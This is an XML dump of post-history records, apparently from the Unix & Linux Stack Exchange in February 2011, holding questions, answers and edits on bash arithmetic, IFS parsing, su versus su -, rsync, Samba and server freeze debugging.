  <row Id="18542" PostHistoryTypeId="6" PostId="7897" RevisionGUID="583b5d77-d4a4-496d-a8e8-db9ecd5f7ae6" CreationDate="2011-02-23T15:51:19.210" UserId="73" Comment="added 14 characters in body; edited tags; edited title" Text="élinuxàédebuggingàéfreezeà" />
  <row Id="18543" PostHistoryTypeId="5" PostId="7843" RevisionGUID="0b171b9d-ad92-4658-9cc1-dcebe4e64683" CreationDate="2011-02-23T15:52:13.067" UserId="678" Comment="corrected on request (first comment)" Text="If you can live with calling date two times, this one works in bash on Solaris:&#xD;&#xA;&#xD;&#xA;    date +&quot;%Y.%m.%d %H:$(( $(date +'%M') / 15 * 15 ))&quot;&#xD;&#xA;&#xD;&#xA;Edited on behalf of the comment to:&#xD;&#xA;&#xD;&#xA;    date +&quot;%Y.%m.%d %H:$(( $(date +'%M') / 15 * 15 ))&quot; | sed 's/:0$/:00/'" />
  <row Id="18544" PostHistoryTypeId="2" PostId="7908" RevisionGUID="6e942d78-1712-4af0-a8dc-622c0ded2f4e" CreationDate="2011-02-23T16:44:55.133" UserId="4667" Text="You can do it with gawk too, but it's not pretty:&#xD;&#xA;&#xD;&#xA;    var=&quot;:abc::def:::ghi::::&quot;&#xD;&#xA;    out=$( gawk -F ':+' '&#xD;&#xA;      {&#xD;&#xA;        # strip delimiters from the ends of the line&#xD;&#xA;        sub(&quot;^&quot;FS,&quot;&quot;)&#xD;&#xA;        sub(FS&quot;$&quot;,&quot;&quot;)&#xD;&#xA;        # then output in a bash-friendly format&#xD;&#xA;        for (i=1;i&lt;=NF;i++) printf(&quot;\&quot;%s\&quot; &quot;, $i)&#xD;&#xA;        print &quot;&quot;&#xD;&#xA;      }&#xD;&#xA;    ' &lt;&lt;&lt; &quot;$var&quot; )&#xD;&#xA;    eval arr=($out)&#xD;&#xA;    for x in ${!arr[*]} ; do&#xD;&#xA;      echo &quot;# arr[$x] \&quot;${arr[x]}\&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;outputs &#xD;&#xA;&#xD;&#xA;    # arr[0] &quot;abc&quot;&#xD;&#xA;    # arr[1] &quot;def&quot;&#xD;&#xA;    # arr[2] &quot;ghi&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18545" PostHistoryTypeId="5" PostId="7812" RevisionGUID="21d965dc-c92f-46b9-bb02-1efb20db186c" CreationDate="2011-02-23T16:56:03.177" UserId="4950" Comment="corrected the code snippet" Text="`$PATH` has `.`(cwd) and there is a file `ps` with executable permissions in the home directory.&#xD;&#xA;&#xD;&#xA;    # ls -lrt *ps*&#xD;&#xA;    -rwxrw-r--   1 sruser  batch          0 Jun 2 2010 ps&#xD;&#xA;    # type ps&#xD;&#xA;    ps is hashed (./ps)&#xD;&#xA;    # which ps&#xD;&#xA;    ./ps&#xD;&#xA;&#xD;&#xA;Hence the command was not giving any output." />
  <row Id="18546" PostHistoryTypeId="5" PostId="7904" RevisionGUID="a897b6a7-e33a-4eaa-a40e-f34bb313e230" CreationDate="2011-02-23T17:19:33.713" UserId="2343" Comment="main request was unclear" Text="Parsing an array using IFS with non-whites space values creates empty elements.  &#xD;&#xA;Even using `tr -s` to shrink multiple delims to a single delim isn't enough.      &#xD;&#xA;An example may explain the issue more clearly..   &#xD;&#xA;Is there a way to achieve &quot;normal&quot; results via a tweaking of IFS (is there an associated setting to change IFS's behaviour? ....  ie. To act the same as the default whitespace IFS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    var=&quot; abc  def   ghi    &quot;&#xD;&#xA;    echo &quot;============== IFS=&lt;default&gt;&quot;&#xD;&#xA;    arr=($var)&#xD;&#xA;    for x in ${!arr[*]} ; do&#xD;&#xA;       echo &quot;# arr[$x] \&quot;${arr[x]}\&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;    #&#xD;&#xA;    sfi=&quot;$IFS&quot; ; IFS=':'&#xD;&#xA;    set -f # Disable file name generation (globbing)&#xD;&#xA;           # (This  data won't &quot;glob&quot;, but unless globbing     &#xD;&#xA;           #  is actually needed, turn if off, because   &#xD;&#xA;           #  unusual/unexpected combinations of data can glob!&#xD;&#xA;           #  and they can do it in the most obscure ways...  &#xD;&#xA;           #  With IFS, &quot;you're not in Kansas any more! :)  &#xD;&#xA;    var=&quot;:abc::def:::ghi::::&quot;&#xD;&#xA;    echo &quot;============== IFS=$IFS&quot;&#xD;&#xA;    arr=($var)&#xD;&#xA;    for x in ${!arr[*]} ; do&#xD;&#xA;       echo &quot;# arr[$x] \&quot;${arr[x]}\&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;    echo &quot;============== IFS=$IFS and tr&quot;&#xD;&#xA;    arr=($(echo -n &quot;$var&quot;|tr -s &quot;$IFS&quot;))&#xD;&#xA;    for x in ${!arr[*]} ; do&#xD;&#xA;       echo &quot;# arr[$x] \&quot;${arr[x]}\&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;    set +f     # enable globbing &#xD;&#xA;    IFS=&quot;$sfi&quot; # re-instate original IFS val&#xD;&#xA;    echo &quot;============== IFS=&lt;default&gt;&quot;&#xD;&#xA;&#xD;&#xA;---     &#xD;&#xA;&#xD;&#xA;Here is the output   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;    ============== IFS=&lt;default&gt;&#xD;&#xA;    # arr[0] &quot;abc&quot;&#xD;&#xA;    # arr[1] &quot;def&quot;&#xD;&#xA;    # arr[2] &quot;ghi&quot;&#xD;&#xA;    ============== IFS=:&#xD;&#xA;    # arr[0] &quot;&quot;&#xD;&#xA;    # arr[1] &quot;abc&quot;&#xD;&#xA;    # arr[2] &quot;&quot;&#xD;&#xA;    # arr[3] &quot;def&quot;&#xD;&#xA;    # arr[4] &quot;&quot;&#xD;&#xA;    # arr[5] &quot;&quot;&#xD;&#xA;    # arr[6] &quot;ghi&quot;&#xD;&#xA;    # arr[7] &quot;&quot;&#xD;&#xA;    # arr[8] &quot;&quot;&#xD;&#xA;    # arr[9] &quot;&quot;&#xD;&#xA;    ============== IFS=: and tr&#xD;&#xA;    # arr[0] &quot;&quot;&#xD;&#xA;    # arr[1] &quot;abc&quot;&#xD;&#xA;    # arr[2] &quot;def&quot;&#xD;&#xA;    # arr[3] &quot;ghi&quot;&#xD;&#xA;    ============== IFS=&lt;default&gt;&#xD;&#xA;" />
  <row Id="18547" PostHistoryTypeId="25" PostId="7904" RevisionGUID="c37a3821-5f35-4dd4-9825-fefe28e1cd6f" CreationDate="2011-02-23T17:23:18.313" Comment="http://twitter.com/#!/StackUnix/status/40461707512000512" />
  <row Id="18548" PostHistoryTypeId="2" PostId="7909" RevisionGUID="8053d276-8e71-4510-99cf-cffb74e8c7c8" CreationDate="2011-02-23T17:28:25.720" UserId="3976" Text="It sounds like your kernel panicked in some way such that sshd couldn't send the server keys.  Possibly, the kernel was wedged in such a way that the network stack was still up, but the vfs layer was unavailable.&#xD;&#xA;&#xD;&#xA;When I experienced similar problems on a RHEL4 system, I set up the [netdump and netconsole services][1], and a dedicated netdump and syslog server to catch the crash dumps and kernel panic information.  I also set the kernel.panic sysctl to 10.  That way, when a system panics, you get both the kernel trace and a copy of the memory on that system, to which you could analyse with the 'crash' utility.&#xD;&#xA;&#xD;&#xA;You would certainly also benefit from setting up a serial console for the hosts, so you could see the console out put and potentially hit the magic sysrq keys.  Also, if you're willing to set up the networking and you have hardware that supports it, you can use IPMI to remotely poweroff,poweron,restart, and query the hardware.&#xD;&#xA;&#xD;&#xA;(for what it's worth, RHEL5 has a similar functionality with kexec/kdump, only the crash dump is stored locally)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.redhat.com/support/wpapers/redhat/netdump/" />
  <row Id="18549" PostHistoryTypeId="2" PostId="7910" RevisionGUID="3d0e052a-81f3-4013-ba71-998e59cb8988" CreationDate="2011-02-23T17:32:22.470" UserId="5006" Text="Not a very geeky answer, but skype has a &quot;share screen&quot; option." />
  <row Id="18550" PostHistoryTypeId="2" PostId="7911" RevisionGUID="b940a527-b978-4d9a-8648-e05a8bbbfd4f" CreationDate="2011-02-23T17:59:49.970" UserId="5030" Text="I know what should be difference between su and su - but in my system (debian testing) for example PATH are the same&#xD;&#xA;&#xD;&#xA;    [root]# su&#xD;&#xA;    [root]# echo $PATH&#xD;&#xA;    /user_path/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#xD;&#xA;    [root]# exit&#xD;&#xA;    [root]$ su -&#xD;&#xA;    [root@debian ~]# echo $PATH&#xD;&#xA;    /user_path/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#xD;&#xA;&#xD;&#xA;So I'a starting thinking that difference can be change in configuration files.&#xD;&#xA;" />
  <row Id="18551" PostHistoryTypeId="1" PostId="7911" RevisionGUID="b940a527-b978-4d9a-8648-e05a8bbbfd4f" CreationDate="2011-02-23T17:59:49.970" UserId="5030" Text="Debian - su vs su -" />
  <row Id="18552" PostHistoryTypeId="3" PostId="7911" RevisionGUID="b940a527-b978-4d9a-8648-e05a8bbbfd4f" CreationDate="2011-02-23T17:59:49.970" UserId="5030" Text="éshellàécommandölineàésuà" />
  <row Id="18553" PostHistoryTypeId="5" PostId="7911" RevisionGUID="d6c43f22-0187-4a69-9da9-40e147255f44" CreationDate="2011-02-23T18:08:40.397" UserId="73" Comment="added 17 characters in body" Text="I know what should be the difference between `su` and `su -`, but in my system (debian testing) for example `PATH` is the same:&#xD;&#xA;&#xD;&#xA;    [root]# su&#xD;&#xA;    [root]# echo $PATH&#xD;&#xA;    /user_path/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#xD;&#xA;    [root]# exit&#xD;&#xA;    [root]$ su -&#xD;&#xA;    [root@debian ~]# echo $PATH&#xD;&#xA;    /user_path/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#xD;&#xA;&#xD;&#xA;So I'm starting to thinki that the difference can be changed in configuration files.&#xD;&#xA;" />
  <row Id="18554" PostHistoryTypeId="2" PostId="7912" RevisionGUID="9a3c39a0-2b3c-428d-b9bf-bf57029308d0" CreationDate="2011-02-23T18:33:16.917" UserId="4241" Text="Parameter `-` means starting environment which is almost the same as with login environment for that user.&#xD;&#xA;&#xD;&#xA;Without `-` environment is same as original user's environment.&#xD;&#xA;&#xD;&#xA;For example `PATH` is usually same for root and normal users. In some systems there is no `sbin` folders for normal users. You can't disable `-` from `su` easily. Of course you can go to edit the source code.&#xD;&#xA;&#xD;&#xA;You can try this by running&#xD;&#xA;&#xD;&#xA;    export FOO=bar&#xD;&#xA;    su # enter your password&#xD;&#xA;    echo $FOO&#xD;&#xA;    logout&#xD;&#xA;    su - # enter your password again&#xD;&#xA;    echo $FOO&#xD;&#xA;&#xD;&#xA;In first time `echo $FOO` prints &quot;bar&quot; and in second time it's empty.&#xD;&#xA;    " />
  <row Id="18555" PostHistoryTypeId="5" PostId="7828" RevisionGUID="4f7f860d-b021-465b-8729-faf1aebcd869" CreationDate="2011-02-23T18:46:58.773" UserId="73" Comment="deleted 23 characters in body" Text="I am trying to backup my linux webserver to our local windows sbs 2003 server in the office. I have set up ssh and cwrsync on the windows server and have confirmed that the linux server can reach the windows server via the command:&#xD;&#xA;&#xD;&#xA;    ssh RemoteUser@xxx.xxx.xxx.xxx&#xD;&#xA;&#xD;&#xA;It asks for a password and connects fine. However when I run this command to start the backup:&#xD;&#xA;&#xD;&#xA;    rsync -avz -e ssh home/account/public_html/some/small/directory/ \&#xD;&#xA;        remote_user@xxx.xxx.xxx.xxx:/cygdrive/c/backup/destination/directory/&#xD;&#xA;&#xD;&#xA;I get this error after entering the password:&#xD;&#xA;&#xD;&#xA;&gt;protocol version mismatch -- is your shell clean?&#xD;&#xA;&#xD;&#xA;and then it dies.&#xD;&#xA;&#xD;&#xA;Has anyone got any ideas?&#xD;&#xA;" />
  <row Id="18556" PostHistoryTypeId="5" PostId="7903" RevisionGUID="bd70c050-6593-4afa-a206-4f6a6371cf61" CreationDate="2011-02-23T18:49:12.293" UserId="3959" Comment="fixed a typo" Text="For the distro, you might want to give [Damn Small Linux][1] a go. If you [install it to your harddrive][2], it's a minimal Debian installation configured to be light on resources.&#xD;&#xA;&#xD;&#xA;When it comes to compiling, just compile with `-march=geode`. That option is defined on any `i386/x86-64` `gcc`, so no real need to cross-compile. If you want to run the binary on your compiler host as well (without a recompile), try something like `-march=i486 -mtune=geode`. Read more about those options [in the GCC docs][3].    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.damnsmalllinux.org/&#xD;&#xA;  [2]: http://www.damnsmalllinux.org/dsl-hd-install.html&#xD;&#xA;  [3]: http://gcc.gnu.org/onlinedocs/gcc/i386-and-x86_002d64-Options.html" />
  <row Id="18557" PostHistoryTypeId="24" PostId="7903" RevisionGUID="324cf0d7-2b11-4a6a-a9c1-437ad40fb54f" CreationDate="2011-02-23T18:49:12.293" Comment="Proposed by 3959 approved by 73 edit id of 49" />
  <row Id="18558" PostHistoryTypeId="2" PostId="7913" RevisionGUID="2d53e1ea-5389-4910-a6dc-3e18e5a8116d" CreationDate="2011-02-23T18:53:32.930" UserId="732" Text="I don't know what debian uses as /usr/bin/mail, but try to get a mail client that can show you the SMTP dialog that it goes through.  I had &quot;nail&quot; (apparently now &quot;mailx&quot; - http://heirloom.sourceforge.net/mailx.html) on one of my linux boxes:&#xD;&#xA;&#xD;&#xA;    11:46AM 5 % nail -v -s &quot;test letter&quot; me@somewhere.com &#xD;&#xA;    blah blah blah&#xD;&#xA;    .&#xD;&#xA;    EOT&#xD;&#xA;    me@somewhere.com... Connecting to [127.0.0.1] via relay...&#xD;&#xA;    220 mydomain.com ESMTP Sendmail 8.13.8/8.13.3; Wed, 23 Feb 2011 11:46:38 -0700&#xD;&#xA;    &gt;&gt;&gt; EHLO localhost.intranet&#xD;&#xA;    250-mydomain.com Hello localhost [127.0.0.1], pleased to meet you&#xD;&#xA;    250-ENHANCEDSTATUSCODES&#xD;&#xA;    250-PIPELINING&#xD;&#xA;    250-8BITMIME&#xD;&#xA;    250-SIZE&#xD;&#xA;    250-DSN&#xD;&#xA;    250-ETRN&#xD;&#xA;    250-AUTH DIGEST-MD5 CRAM-MD5&#xD;&#xA;    250-DELIVERBY&#xD;&#xA;    250 HELP&#xD;&#xA;    &gt;&gt;&gt; MAIL From:&lt;me@mymachine.intranet&gt; SIZE=230 AUTH=me@mymachine.intranet&#xD;&#xA;    250 2.1.0 &lt;me@mymachine.intranet&gt;... Sender ok&#xD;&#xA;    &gt;&gt;&gt; RCPT To:&lt;me@somewhere.com&gt;&#xD;&#xA;    &gt;&gt;&gt; DATA&#xD;&#xA;    250 2.1.5 &lt;me@somewhere.com&gt;... Recipient ok&#xD;&#xA;    354 Enter mail, end with &quot;.&quot; on a line by itself&#xD;&#xA;    &gt;&gt;&gt; .&#xD;&#xA;    250 2.0.0 p1NIkcHH024098 Message accepted for delivery&#xD;&#xA;    me@somewhere.com... Sent (p1NIkcHH024098 Message accepted for delivery)&#xD;&#xA;    Closing connection to [127.0.0.1]&#xD;&#xA;    &gt;&gt;&gt; QUIT&#xD;&#xA;    221 2.0.0 mydomain.com closing connection&#xD;&#xA;&#xD;&#xA;The &quot;-v&quot; flag to nail (mailx) cause it to show you the SMTP dialog. That output can be invaluable when troubleshooting." />
  <row Id="18559" PostHistoryTypeId="5" PostId="55" RevisionGUID="04154069-374b-472d-8a43-558aedcb2df6" CreationDate="2011-02-23T19:39:36.897" UserId="688" Comment="simplify" Text="What does size of a directory mean in output of `ls -l` command?" />
  <row Id="18560" PostHistoryTypeId="4" PostId="55" RevisionGUID="04154069-374b-472d-8a43-558aedcb2df6" CreationDate="2011-02-23T19:39:36.897" UserId="688" Comment="simplify" Text="What does size of a directory mean in output of 'ls -l' command?" />
  <row Id="18562" PostHistoryTypeId="2" PostId="7915" RevisionGUID="6d89bd18-292f-44bd-9d2a-8b9b31f3f5b2" CreationDate="2011-02-23T19:44:31.030" UserId="2511" Text="I will bet dollars to donuts that you are running out of memory. The system is grinding to a halt as it tries to figure out where to get some from. It may be happening so quickly that your monitoring doesn't catch it. I'd step up monitoring, including remote logging of memory usage. Check in the logs for OOM messages as well.&#xD;&#xA;&#xD;&#xA;(You may even just want to have some ssh windows open running top.)" />
  <row Id="18563" PostHistoryTypeId="2" PostId="7916" RevisionGUID="8dba041f-f7b0-4872-a89f-f8fd3a23aa86" CreationDate="2011-02-23T20:10:57.267" UserId="131" Text="I'm attempting to mount a password protected network share from a NAS unit that works by appearing as a windows share. On Windows, I just Map Network Drive, and enter in \\x.x.x.x\ShareName , then enter a password at the prompt.&#xD;&#xA;&#xD;&#xA;On my Linux system, when I attempt to open smb://x.x.x.x/ServerName, I get a prompt for password __and domain__. As far as I know, since my share is set up as a workgroup, I do not have a domain. What should I enter here or do to mount this share?" />
  <row Id="18564" PostHistoryTypeId="1" PostId="7916" RevisionGUID="8dba041f-f7b0-4872-a89f-f8fd3a23aa86" CreationDate="2011-02-23T20:10:57.267" UserId="131" Text="How can I find out what my Samba domain is?" />
  <row Id="18565" PostHistoryTypeId="3" PostId="7916" RevisionGUID="8dba041f-f7b0-4872-a89f-f8fd3a23aa86" CreationDate="2011-02-23T20:10:57.267" UserId="131" Text="ésambaà" />
  <row Id="18566" PostHistoryTypeId="4" PostId="7916" RevisionGUID="7c42ff5e-b576-4d40-a269-1fa116d4559e" CreationDate="2011-02-23T20:16:09.040" UserId="131" Comment="edited title" Text="How can I find out what my domain is for connecting with samba?" />
  <row Id="18567" PostHistoryTypeId="2" PostId="7917" RevisionGUID="48970f1a-1bd4-4436-bef9-26c6860bd194" CreationDate="2011-02-23T20:22:09.003" UserId="5039" Text="I'm looking for a sticky notes/knotes/etc type program with one difference: I can stick a note on a window, rather than the desk top, and it will remain attached to the window.&#xD;&#xA;&#xD;&#xA;Basically, I want to be able to annotate windows. I want to be able to say &quot;this xterm is the one where I'm doing project X&quot; &quot;This application is running test Y&quot; &quot;this emacs is working on this bug&quot; etc. &#xD;&#xA;&#xD;&#xA;I'm not even sure how to search for that, but my google-fu is weak to begin with...&#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="18568" PostHistoryTypeId="1" PostId="7917" RevisionGUID="48970f1a-1bd4-4436-bef9-26c6860bd194" CreationDate="2011-02-23T20:22:09.003" UserId="5039" Text="sticking stickies to windows" />
  <row Id="18569" PostHistoryTypeId="3" PostId="7917" RevisionGUID="48970f1a-1bd4-4436-bef9-26c6860bd194" CreationDate="2011-02-23T20:22:09.003" UserId="5039" Text="élinuxà" />
  <row Id="18570" PostHistoryTypeId="25" PostId="7911" RevisionGUID="9b2cfd7c-f846-4e19-8fd9-ccd90caa86fc" CreationDate="2011-02-23T20:23:21.470" Comment="http://twitter.com/#!/StackUnix/status/40507009912545280" />
  <row Id="18574" PostHistoryTypeId="2" PostId="7919" RevisionGUID="0b3a3033-9064-4656-8a5b-63e40d1c30b2" CreationDate="2011-02-23T20:47:02.423" UserId="3845" Text="I need a tutorial , preferably with pics/diagrams to get oriented to how a typical Linux distro. is organized and  used (including the basic software installation work flow). It shouldn't be a 500 pages book. A concise 20-30 pages tutorial is what I am looking for , so that I read it over the weekend and just dive into Ubuntu/Fedora etc and figure my way around on my own." />
  <row Id="18575" PostHistoryTypeId="1" PostId="7919" RevisionGUID="0b3a3033-9064-4656-8a5b-63e40d1c30b2" CreationDate="2011-02-23T20:47:02.423" UserId="3845" Text="A short tutorial on how a linux distro is organized and supposed to work" />
  <row Id="18576" PostHistoryTypeId="3" PostId="7919" RevisionGUID="0b3a3033-9064-4656-8a5b-63e40d1c30b2" CreationDate="2011-02-23T20:47:02.423" UserId="3845" Text="élinuxàélearningà" />
  <row Id="18577" PostHistoryTypeId="2" PostId="7920" RevisionGUID="de5b55c8-4b28-4efc-a9de-e72bbbdba812" CreationDate="2011-02-23T20:51:06.240" UserId="3271" Text="There is a valid, sensible reason this is so confusing (there is also an annoying artifact reason)...&#xD;&#xA;&#xD;&#xA;Unix has a history of being multi-user and most users did not have access to install apps outside areas they had been granted specific access to.&#xD;&#xA;&#xD;&#xA;So the theory would be that you would build something in your home directory, then copy it to an area you had control over (your own project area, or a shared area).&#xD;&#xA;&#xD;&#xA;Windows PCs are generally single-user systems and don't have this constraint, everything goes in Program Files no matter what.&#xD;&#xA;&#xD;&#xA;Then there is the stupid, annoying fact that every time a new version of Unix came out the creators felt it necessary to change locations, but the old ones had to still be there for automated scripts.  This gives you a bunch of linked directories serving the same purpose.&#xD;&#xA;&#xD;&#xA;The init system is even worse.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18581" PostHistoryTypeId="2" PostId="7922" RevisionGUID="67f8052f-1fe3-4d88-9327-d90540833be0" CreationDate="2011-02-23T20:54:31.083" UserId="4869" Text="To me this sounds like the system is out of resources so the process needed by the server side of ssh cannot be allocated.&#xD;&#xA;&#xD;&#xA;The actual bottleneck can vary - out of processes or out of memory - and the only way to be sure is to look at the logs and console to see if anything is present there.  You may want to set up a scenario of pre-started ssh-jobs - one to each machine - simply to be prepared next time it happens.&#xD;&#xA;&#xD;&#xA;If it is _really_ bad, then you may want to consider starting another shell with more built-in commands so you can investigate more without having to start an extra process as this may not be possible.  Also &quot;tail -f /var/log/*&quot; may be very useful.&#xD;&#xA;&#xD;&#xA;Good luck." />
  <row Id="18582" PostHistoryTypeId="6" PostId="7891" RevisionGUID="875b28e2-6d00-4e93-805c-fc1be37cdfd9" CreationDate="2011-02-23T20:57:21.823" UserId="885" Comment="edited tags" Text="émailàésmtpà" />
  <row Id="18583" PostHistoryTypeId="2" PostId="7923" RevisionGUID="9eb194b3-f047-4b7b-bc39-cac342ff5a32" CreationDate="2011-02-23T21:15:50.613" UserId="3169" Text="For configuring the `su` `PATH`, have a look at `/etc/login.defs`:&#xD;&#xA;&#xD;&#xA;    ENV_SUPATH      PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#xD;&#xA;    ENV_PATH        PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games&#xD;&#xA;&#xD;&#xA;There are also a number of other places `PATH` can be changed, including:&#xD;&#xA;&#xD;&#xA;  * `/etc/environment`&#xD;&#xA;  * `/etc/bash.bashrc`&#xD;&#xA;  * `/etc/profile`&#xD;&#xA;  * `/etc/profile.d/*`&#xD;&#xA;  * `~/.bashrc`&#xD;&#xA;  * `~/.bash_profile`" />
  <row Id="18584" PostHistoryTypeId="5" PostId="7923" RevisionGUID="4e9ef85a-3e1b-470f-976b-033a27465a6b" CreationDate="2011-02-23T21:22:04.550" UserId="3169" Comment="added 426 characters in body" Text="For configuring the `su` `PATH`, have a look at `/etc/login.defs`:&#xD;&#xA;&#xD;&#xA;    ENV_SUPATH      PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#xD;&#xA;    ENV_PATH        PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games&#xD;&#xA;&#xD;&#xA;There are also a number of other places `PATH` can be changed, including:&#xD;&#xA;&#xD;&#xA;  * `/etc/environment`&#xD;&#xA;  * `/etc/bash.bashrc`&#xD;&#xA;  * `/etc/profile`&#xD;&#xA;  * `/etc/profile.d/*`&#xD;&#xA;  * `~/.bashrc`&#xD;&#xA;  * `~/.bash_profile`&#xD;&#xA;&#xD;&#xA;Without anything special in per-user settings, `su` seems to be getting its `PATH` from `/etc/environment` and `su -` seems to be getting its environment from `/etc/login.defs` `ENV_SUPATH`.&#xD;&#xA;&#xD;&#xA;So on your system, my guess is that you have the same `PATH` value in `/etc/login.defs` as in `/etc/environment`, or you have some extra configuration in `/etc/profile.d`, `/etc/bash.bashrc`, or some rc file in `/home/someuser`." />
  <row Id="18585" PostHistoryTypeId="6" PostId="7904" RevisionGUID="80725b64-adda-4e69-9588-20c9b05703e2" CreationDate="2011-02-23T21:25:50.530" UserId="885" Comment="edited tags" Text="ébashàéshellàéscriptingà" />
  <row Id="18586" PostHistoryTypeId="6" PostId="7917" RevisionGUID="532cad60-8f95-4d11-998e-e6243527d050" CreationDate="2011-02-23T21:27:28.860" UserId="885" Comment="edited tags" Text="ésoftwareörecàéguiàédesktopà" />
  <row Id="18587" PostHistoryTypeId="2" PostId="7924" RevisionGUID="1d5ac705-397e-417e-9823-68acd68a7e3d" CreationDate="2011-02-23T21:45:18.227" UserId="5043" Text="When I run this script I get this error--&gt;&#xD;&#xA;&#xD;&#xA;./myscript.sh: 16: arithmetic expression: expecting primary: &quot;1 ** 1&quot;&#xD;&#xA;&#xD;&#xA;When I run this shell script with bash, as in #! /bin/bash on the first line the math works properly, unfortunatley I need to use /bin/sh.  What am I doing wrong?  I'm on Linux Mint if that matters...&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    &#xD;&#xA;    x=1&#xD;&#xA;    while [ $x -le 10 ]&#xD;&#xA;    do&#xD;&#xA;    	y=1&#xD;&#xA;    	while [ $y -le 10 ]&#xD;&#xA;    	do&#xD;&#xA;    		echo $(($y ** $x))&quot;   \c&quot;&#xD;&#xA;    		y=`expr $y \+ 1`&#xD;&#xA;    	done&#xD;&#xA;    	echo&#xD;&#xA;    	x=`expr $x \+ 1`&#xD;&#xA;    done" />
  <row Id="18588" PostHistoryTypeId="1" PostId="7924" RevisionGUID="1d5ac705-397e-417e-9823-68acd68a7e3d" CreationDate="2011-02-23T21:45:18.227" UserId="5043" Text="Simple Shell Script with Arithmetic issue... ** is giving me trouble." />
  <row Id="18589" PostHistoryTypeId="3" PostId="7924" RevisionGUID="1d5ac705-397e-417e-9823-68acd68a7e3d" CreationDate="2011-02-23T21:45:18.227" UserId="5043" Text="éshellöscriptà" />
  <row Id="18591" PostHistoryTypeId="2" PostId="7925" RevisionGUID="1709e310-549f-4007-9173-ee8ac20685ad" CreationDate="2011-02-23T22:03:57.143" UserId="885" Text="[Standard shell arithmetic](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_06_04) only allows integer arithmetic operations. This doesn't include `**` for exponentiation, which bash has as an extension.&#xD;&#xA;&#xD;&#xA;Integer exponentiation is easy enough to implement as a shell function (though you'll run into wraparound soon).&#xD;&#xA;&#xD;&#xA;    pow () {&#xD;&#xA;        set $1 $2 1&#xD;&#xA;        while [ $2 -gt 0 ]; do&#xD;&#xA;          set $1 $(($2-1)) $(($1*$3))&#xD;&#xA;        done&#xD;&#xA;        echo $3&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;As an aside, why use `expr` here? Shell arithmetic can do addition.&#xD;&#xA;" />
  <row Id="18592" PostHistoryTypeId="2" PostId="7926" RevisionGUID="33bf680e-e8e4-48cf-bab0-76b039259635" CreationDate="2011-02-23T22:07:01.077" UserId="2511" Text="I think you're out of luck, as the `**` exponent operator isn't [standard for /bin/sh][1]. You can use `bc`, though: `echo &quot;$y ^ $x&quot; | bc`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_06_04" />
  <row Id="18593" PostHistoryTypeId="2" PostId="7927" RevisionGUID="3a46484d-3b22-4383-bbf5-0d0b30f77e04" CreationDate="2011-02-23T22:07:28.560" UserId="4667" Text="The POSIX shell apparently does not have an exponentiation operator.  You can roll your own:&#xD;&#xA;&#xD;&#xA;    pow() {&#xD;&#xA;        local x y res i&#xD;&#xA;        x=$1&#xD;&#xA;        y=$2&#xD;&#xA;        res=1&#xD;&#xA;        i=1&#xD;&#xA;        while [ $i -le $y ]; do&#xD;&#xA;            res=$(( res * x ))&#xD;&#xA;            i=$(( i + 1 ))&#xD;&#xA;        done&#xD;&#xA;        echo $res&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    x=1&#xD;&#xA;    while [ $x -le 10 ]; do&#xD;&#xA;        y=1&#xD;&#xA;        while [ $y -le 10 ]; do&#xD;&#xA;            echo &quot;$(pow $y $x)   \c&quot;&#xD;&#xA;            y=$(( y + 1 ))&#xD;&#xA;        done&#xD;&#xA;        echo&#xD;&#xA;        x=$(( x + 1 ))&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="18595" PostHistoryTypeId="5" PostId="7924" RevisionGUID="874146ef-d178-4644-9d11-69fcd668159b" CreationDate="2011-02-23T22:44:02.683" UserId="73" Comment="added 5 characters in body" Text="When I run this script I get this error:&#xD;&#xA;&#xD;&#xA;&gt; ./myscript.sh: 16: arithmetic expression: expecting primary: &quot;1 ** 1&quot;&#xD;&#xA;&#xD;&#xA;When I run this shell script with bash, as in `#! /bin/bash` on the first line, the math works properly; unfortunately I need to use `/bin/sh`.  What am I doing wrong?  I'm on Linux Mint if that matters.&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    &#xD;&#xA;    x=1&#xD;&#xA;    while [ $x -le 10 ]&#xD;&#xA;    do&#xD;&#xA;    	y=1&#xD;&#xA;    	while [ $y -le 10 ]&#xD;&#xA;    	do&#xD;&#xA;    		echo $(($y ** $x))&quot;   \c&quot;&#xD;&#xA;    		y=`expr $y \+ 1`&#xD;&#xA;    	done&#xD;&#xA;    	echo&#xD;&#xA;    	x=`expr $x \+ 1`&#xD;&#xA;    done&#xD;&#xA;" />
